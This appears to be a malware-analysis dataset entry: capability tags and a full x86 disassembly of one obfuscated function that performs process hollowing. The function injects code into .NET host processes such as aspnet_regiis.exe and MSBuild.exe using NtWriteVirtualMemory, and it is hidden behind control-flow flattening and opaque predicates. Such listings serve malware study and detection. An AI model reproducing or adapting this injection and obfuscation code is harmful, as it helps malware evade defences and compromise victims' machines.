Function at 0x10014660
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x104
mov eax, dword [0x10096080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10c], 0x75268b2f
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], eax
sub eax, 0x80833885
je 0x10016abe
jmp 0x1001469c
mov eax, dword [ebp - 0x110]
sub eax, 0x80faceb5
je 0x1001a176
jmp 0x100146b2
mov eax, dword [ebp - 0x110]
sub eax, 0x81bb3686
je 0x1001747d
jmp 0x100146c8
mov eax, dword [ebp - 0x110]
sub eax, 0x8204bda6
je 0x1001a36d
jmp 0x100146de
mov eax, dword [ebp - 0x110]
sub eax, 0x822f353f
je 0x10016e99
jmp 0x100146f4
mov eax, dword [ebp - 0x110]
sub eax, 0x82585412
je 0x10019b59
jmp 0x1001470a
mov eax, dword [ebp - 0x110]
sub eax, 0x82911086
je 0x1001786e
jmp 0x10014720
mov eax, dword [ebp - 0x110]
sub eax, 0x83e5bbad
je 0x1001670b
jmp 0x10014736
mov eax, dword [ebp - 0x110]
sub eax, 0x845b98d3
je 0x10018edf
jmp 0x1001474c
mov eax, dword [ebp - 0x110]
sub eax, 0x857d2321
je 0x100198a4
jmp 0x10014762
mov eax, dword [ebp - 0x110]
sub eax, 0x868555f7
je 0x10019e11
jmp 0x10014778
mov eax, dword [ebp - 0x110]
sub eax, 0x86b2cb14
je 0x10019bfd
jmp 0x1001478e
mov eax, dword [ebp - 0x110]
sub eax, 0x8781e02b
je 0x10018f3e
jmp 0x100147a4
mov eax, dword [ebp - 0x110]
sub eax, 0x88a2c784
je 0x1001a34f
jmp 0x100147ba
mov eax, dword [ebp - 0x110]
sub eax, 0x88b3ebeb
je 0x1001944a
jmp 0x100147d0
mov eax, dword [ebp - 0x110]
sub eax, 0x894d9d8f
je 0x100178e4
jmp 0x100147e6
mov eax, dword [ebp - 0x110]
sub eax, 0x89bc3aec
je 0x10019d4f
jmp 0x100147fc
mov eax, dword [ebp - 0x110]
sub eax, 0x8a10d025
je 0x1001971d
jmp 0x10014812
mov eax, dword [ebp - 0x110]
sub eax, 0x8c5a8962
je 0x1001a3b7
jmp 0x10014828
mov eax, dword [ebp - 0x110]
sub eax, 0x8d8b9f0e
je 0x10016c32
jmp 0x1001483e
mov eax, dword [ebp - 0x110]
sub eax, 0x8e100a2b
je 0x1001a27f
jmp 0x10014854
mov eax, dword [ebp - 0x110]
sub eax, 0x8f5a1068
je 0x10016729
jmp 0x1001486a
mov eax, dword [ebp - 0x110]
sub eax, 0x8f6dc3bd
je 0x1001912c
jmp 0x10014880
mov eax, dword [ebp - 0x110]
sub eax, 0x90bb4c8c
je 0x10016f75
jmp 0x10014896
mov eax, dword [ebp - 0x110]
sub eax, 0x90bd4672
je 0x100172cc
jmp 0x100148ac
mov eax, dword [ebp - 0x110]
sub eax, 0x91226f68
je 0x10017059
jmp 0x100148c2
mov eax, dword [ebp - 0x110]
sub eax, 0x91ca5256
je 0x1001a52e
jmp 0x100148d8
mov eax, dword [ebp - 0x110]
sub eax, 0x92cd7409
je 0x1001829d
jmp 0x100148ee
mov eax, dword [ebp - 0x110]
sub eax, 0x939d3e85
je 0x10016695
jmp 0x10014904
mov eax, dword [ebp - 0x110]
sub eax, 0x93abd60c
je 0x1001951c
jmp 0x1001491a
mov eax, dword [ebp - 0x110]
sub eax, 0x973c619e
je 0x1001a5ff
jmp 0x10014930
mov eax, dword [ebp - 0x110]
sub eax, 0x981ae08b
je 0x1001a1ef
jmp 0x10014946
mov eax, dword [ebp - 0x110]
sub eax, 0x981ca501
je 0x10018b90
jmp 0x1001495c
mov eax, dword [ebp - 0x110]
sub eax, 0x995e9c51
je 0x1001a441
jmp 0x10014972
mov eax, dword [ebp - 0x110]
sub eax, 0x9a4fa449
je 0x100187a5
jmp 0x10014988
mov eax, dword [ebp - 0x110]
sub eax, 0x9aef56e6
je 0x10018f4d
jmp 0x1001499e
mov eax, dword [ebp - 0x110]
sub eax, 0x9b05b895
je 0x100164dc
jmp 0x100149b4
mov eax, dword [ebp - 0x110]
sub eax, 0x9b45d9d4
je 0x10019e2f
jmp 0x100149ca
mov eax, dword [ebp - 0x110]
sub eax, 0x9bd5566a
je 0x10017f10
jmp 0x100149e0
mov eax, dword [ebp - 0x110]
sub eax, 0x9c1491b3
je 0x10018fd2
jmp 0x100149f6
mov eax, dword [ebp - 0x110]
sub eax, 0x9c55584f
je 0x10019b3a
jmp 0x10014a0c
mov eax, dword [ebp - 0x110]
sub eax, 0x9c8c8260
je 0x1001a74b
jmp 0x10014a22
mov eax, dword [ebp - 0x110]
sub eax, 0x9d209864
je 0x10016c57
jmp 0x10014a38
mov eax, dword [ebp - 0x110]
sub eax, 0x9ddf3a70
je 0x1001a38b
jmp 0x10014a4e
mov eax, dword [ebp - 0x110]
sub eax, 0x9e3b5f85
je 0x100180be
jmp 0x10014a64
mov eax, dword [ebp - 0x110]
sub eax, 0xa3a3fa1a
je 0x100174f6
jmp 0x10014a7a
mov eax, dword [ebp - 0x110]
sub eax, 0xa41b9303
je 0x10019acd
jmp 0x10014a90
mov eax, dword [ebp - 0x110]
sub eax, 0xa56087d0
je 0x100177a7
jmp 0x10014aa6
mov eax, dword [ebp - 0x110]
sub eax, 0xa574e795
je 0x10017068
jmp 0x10014abc
mov eax, dword [ebp - 0x110]
sub eax, 0xa642a923
je 0x1001a7a2
jmp 0x10014ad2
mov eax, dword [ebp - 0x110]
sub eax, 0xa6701fc0
je 0x100184ab
jmp 0x10014ae8
mov eax, dword [ebp - 0x110]
sub eax, 0xa6b6ac1e
je 0x10016b13
jmp 0x10014afe
mov eax, dword [ebp - 0x110]
sub eax, 0xa6d27a48
je 0x10019efb
jmp 0x10014b14
mov eax, dword [ebp - 0x110]
sub eax, 0xa7b9e701
je 0x1001a61c
jmp 0x10014b2a
mov eax, dword [ebp - 0x110]
sub eax, 0xaa673948
je 0x1001a8d5
jmp 0x10014b40
mov eax, dword [ebp - 0x110]
sub eax, 0xaa67a950
je 0x100182f5
jmp 0x10014b56
mov eax, dword [ebp - 0x110]
sub eax, 0xab0dc3ea
je 0x10018541
jmp 0x10014b6c
mov eax, dword [ebp - 0x110]
sub eax, 0xab10775d
je 0x1001a270
jmp 0x10014b82
mov eax, dword [ebp - 0x110]
sub eax, 0xac460689
je 0x1001a450
jmp 0x10014b98
mov eax, dword [ebp - 0x110]
sub eax, 0xacc44f8a
je 0x10016b29
jmp 0x10014bae
mov eax, dword [ebp - 0x110]
sub eax, 0xae4875c0
je 0x1001787d
jmp 0x10014bc4
mov eax, dword [ebp - 0x110]
sub eax, 0xaf962e22
je 0x1001a5d1
jmp 0x10014bda
mov eax, dword [ebp - 0x110]
sub eax, 0xb03601a7
je 0x10017af1
jmp 0x10014bf0
mov eax, dword [ebp - 0x110]
sub eax, 0xb0ac19bc
je 0x10016d4d
jmp 0x10014c06
mov eax, dword [ebp - 0x110]
sub eax, 0xb1510142
je 0x100182d7
mov byte [ebp - 0xe1], 1
mov ecx, dword [0x10097694]
mov eax, dword [0x10097690]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x981ae08b
mov ecx, 0x139a6be1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov ecx, dword [0x10097694]
mov eax, dword [0x10097690]
mov edx, ecx
sub edx, 0x276f92b6
sub edx, 1
add edx, 0x276f92b6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3855f97e
mov ecx, 0x83e5bbad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0x2287cba2
jmp 0x1001a8ee
mov dword [ebp - 0xe8], 0xefb8ec1
mov dword [ebp - 0x10c], 0x147a6a8d
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0x67afca0f
jmp 0x1001a8ee
mov byte [ebp - 0xe9], 0
mov dword [ebp - 0x10c], 0xacc44f8a
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0x47cb52c8
jmp 0x1001a8ee
mov byte [ebp - 0xe9], 1
mov dword [ebp - 0x10c], 0xd2ed1aca
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0x47cb52c8
jmp 0x1001a8ee
mov byte [ebp - 0xea], 1
mov dword [ebp - 0x10c], 0x9e884cb
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0xa574e795
jmp 0x1001a8ee
mov ecx, dword [0x10097694]
mov eax, dword [0x10097690]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd8edbf02
mov ecx, 0xd518bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0xa574e795
jmp 0x1001a8ee
mov eax, dword [0x10097694]
mov ecx, dword [0x10097690]
mov edx, eax
sub edx, 0x36ece6f9
sub edx, 1
add edx, 0x36ece6f9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7efc6052
mov ecx, 0x55585db3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov eax, dword [0x10097694]
mov ecx, dword [0x10097690]
mov edx, eax
sub edx, 0x5c916810
sub edx, 1
add edx, 0x5c916810
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x465c53ea
mov ecx, 0x21568140
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0x66b510a3
jmp 0x1001a8ee
mov byte [ebp - 0xf1], 0
mov dword [ebp - 0x10c], 0xd8d72ff7
jmp 0x1001a8ee
mov eax, dword [0x10097694]
mov ecx, dword [0x10097690]
mov edx, eax
add edx, 0x5b07fb28
sub edx, 1
sub edx, 0x5b07fb28
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x88a2c784
mov ecx, 0x56dc4e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0xbc858371
jmp 0x1001a8ee
mov byte [ebp - 0xf2], 0
mov dword [ebp - 0x10c], 0xb882c7ec
jmp 0x1001a8ee
mov ecx, dword [0x10097694]
mov eax, dword [0x10097690]
mov edx, ecx
sub edx, 0x5f0b9872
sub edx, 1
add edx, 0x5f0b9872
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1e18697
mov ecx, 0x3ca7725c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov eax, dword [0x10097694]
mov ecx, dword [0x10097690]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x182c29b9
mov ecx, 0x31f4e7b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov eax, dword [ebp - 0x84]
cmp eax, 0xefb8f15
setg al
and al, 1
mov byte [ebp - 0x7d], al
mov ecx, dword [0x10097694]
mov eax, dword [0x10097690]
mov edx, ecx
add edx, 0x14510c2a
sub edx, 1
sub edx, 0x14510c2a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3998c64d
mov ecx, 0x1bda5fdd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov edx, dword [ebp - 0x7c]
mov eax, 0x35f1de0
mov ecx, 0x568e1abe
cmp edx, 0xefb8ee3
cmovle eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0xfc7d7e4d
jmp 0x1001a8ee
mov dword [ebp - 0xfc], 0xefb8f08
mov dword [ebp - 0x10c], 0x1df5eee4
jmp 0x1001a8ee
mov dword [ebp - 0xfc], 1
mov ecx, dword [0x10097694]
mov eax, dword [0x10097690]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6d0a65f6
mov ecx, 0xd39c1419
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0xeefcd9a0
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0xd553282a
jmp 0x1001a8ee
mov dl, byte [ebp - 0x65]
mov eax, 0x6319441d
mov ecx, 0x226419ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov eax, dword [ebp - 0xc8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov eax, dword [0x10097694]
mov ecx, dword [0x10097690]
mov edx, eax
sub edx, 0x2aef4f75
sub edx, 1
add edx, 0x2aef4f75
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x973c619e
mov ecx, 0x8781e02b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0x9aef56e6
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0xf4a20837
jmp 0x1001a8ee
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov ecx, dword [0x10097694]
mov eax, dword [0x10097690]
mov edx, ecx
add edx, 0x21731ddb
sub edx, 1
sub edx, 0x21731ddb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa7b9e701
mov ecx, 0xe2dd6c82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov ecx, dword [0x10097694]
mov eax, dword [0x10097690]
mov edx, ecx
sub edx, 0x4a9299bf
sub edx, 1
add edx, 0x4a9299bf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xba4ed50d
mov ecx, 0xbf7ec58f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0x7be0c4de
jmp 0x1001a8ee
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x108]
mov edx, dword [ebp - 0xc0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd4]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov ecx, dword [0x10097694]
mov eax, dword [0x10097690]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc81b54b5
mov ecx, 0x34701767
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x10c], 0xe29dba2a
jmp 0x1001a8ee
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [0x10097694]
mov ecx, dword [0x10097690]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa642a923
mov ecx, 0x2b001f97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
add ecx, 0xddc3f015
add ecx, 8
sub ecx, 0xddc3f015
mov eax, dword [ebp - 0xd4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x48
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10c], 0x9c55584f
jmp 0x1001a8ee
mov edx, dword [ebp - 0x2c]
mov eax, 0x9b45d9d4
mov ecx, 0x82585412
cmp dword [edx + 4], 0
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov ecx, dword [ebp - 0x108]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add ecx, dword [eax + 0xc0]
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10c], 0x6a2ce0a7
jmp 0x1001a8ee
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [0x10097694]
mov ecx, dword [0x10097690]
mov edx, eax
sub edx, 0xe00ea2d0
sub edx, 1
add edx, 0xe00ea2d0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ef53b52
mov ecx, 0xbb9f512b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov eax, dword [0x10097694]
mov ecx, dword [0x10097690]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbf699f6
mov ecx, 0xf17a68c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0x7c2b42b9
jmp 0x1001a8ee
mov eax, dword [0x10097694]
mov ecx, dword [0x10097690]
mov edx, eax
add edx, 0xe84e78cf
sub edx, 1
sub edx, 0xe84e78cf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3a27fb40
mov ecx, 0xdf06dd3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0x550e459c
jmp 0x1001a8ee
mov eax, dword [0x10097694]
mov ecx, dword [0x10097690]
mov edx, eax
add edx, 0xa0aca62a
sub edx, 1
sub edx, 0xa0aca62a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6b2cac83
mov ecx, 0x684fe555
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1001a8ee
mov byte [ebp - 0xe1], 1
mov dword [ebp - 0x10c], 0x9b05b895
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0x26ffba48
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0x3256922d
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0x56dc4e6
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0xe3bfebe6
jmp 0x1001a8ee
mov byte [ebp - 0xf3], 1
mov dword [ebp - 0x10c], 0x727caab6
jmp 0x1001a8ee
mov byte [ebp - 0xf3], 1
mov dword [ebp - 0x10c], 0x294aec0b
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0xf96054de
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0x1fee24f2
jmp 0x1001a8ee
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xd4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1002ed40
add esp, 0xc
mov eax, dword [ebp - 0xd0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1002ed40
add esp, 0xc
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x10c], 0xe4cfb5b1
jmp 0x1001a8ee
mov eax, dword [ebp - 0xcc]
mov cl, byte [ebp - 0x5e]
mov byte [eax], cl
mov eax, dword [ebp - 0xc8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x10c], 0xca42d58a
jmp 0x1001a8ee
mov eax, dword [ebp - 0xc8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x10c], 0x845b98d3
jmp 0x1001a8ee
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x10c], 0x9c1491b3
jmp 0x1001a8ee
mov eax, dword [ebp - 0x48]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x4c]
add ecx, eax
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov dword [eax], 0
mov dword [ebp - 0x10c], 0xb8592ee8
jmp 0x1001a8ee
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x10c], 0x857d2321
jmp 0x1001a8ee
mov dword [ebp - 0x10c], 0xc1edd9e8
jmp 0x1001a8ee
jmp 0x10014680